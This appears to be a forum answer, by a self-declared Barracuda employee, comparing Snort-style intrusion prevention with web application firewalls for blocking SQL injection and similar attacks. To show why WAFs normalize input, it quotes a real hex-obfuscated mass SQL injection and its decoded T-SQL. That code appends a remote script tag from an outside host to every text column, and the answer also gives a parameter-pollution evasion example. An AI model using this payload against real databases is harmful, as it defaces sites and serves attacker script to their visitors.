IPS like Snort are more of generalists for protecting commonly used Internet Protocols like HTTP, DNS, FTP, SMTP etc.
WAFs are supposed to be specialists for protecting HTTP.
Just to take injection attacks like SQLi, XSS as a starting point:
You can take some or all of mod_security's signatures and attempt to write equivalents for snort. However, IPS products do not have the same level of normalization for [obfuscated attacks][1], thus they are easy to evade. WAFs like Barracuda, normalize web based inputs before they apply their signatures, this prevents bypass using hex/URL/UTF-8/Unicode encoding, SQL comments etc.
For example, sometime back this mass SQL injection was doing the rounds on the Internet targeting MS SQL:
DECLARE @S VARCHAR(4000);SET @S=CAST(0x4445434C41
....[more hex code]
26C655F437572736F7220 AS VARCHAR(4000));EXEC(@S);--
WAFs are supposed to first normalize the content which becomes:
DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM
sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u'
AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=
RTRIM(CONVERT(VARCHAR(4000),['+@C+']))
+''<script src=http://www.adwbnr.com/b.js>
</script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
And then apply the SQL checks to block these.
IPS, like snort, normally dont provide "zero-day" protection against such attacks, they provide specific signatures reactively to such attacks like Asprox botnet specifc signatures etc. And these are not effective against newer zero day vulnerabilities.
Then there are new forms of attacks - like HTTP Parameter Pollution which no IPS will defend against, as it involves examining, for example, the concatenated value of multiple input parameters (?a=SEL&a=ECT).
This is just a note on injection attacks, there are many other attacks which require a deeper understanding of the HTTP protocol which is absent in most IPS products. Session riding, CSRF, cookie poisoning, cookie replay, etc to name a few.
You can also look at this white paper for a high level overview.
Disclaimer: I work for Barracuda Networks which is a WAF vendor.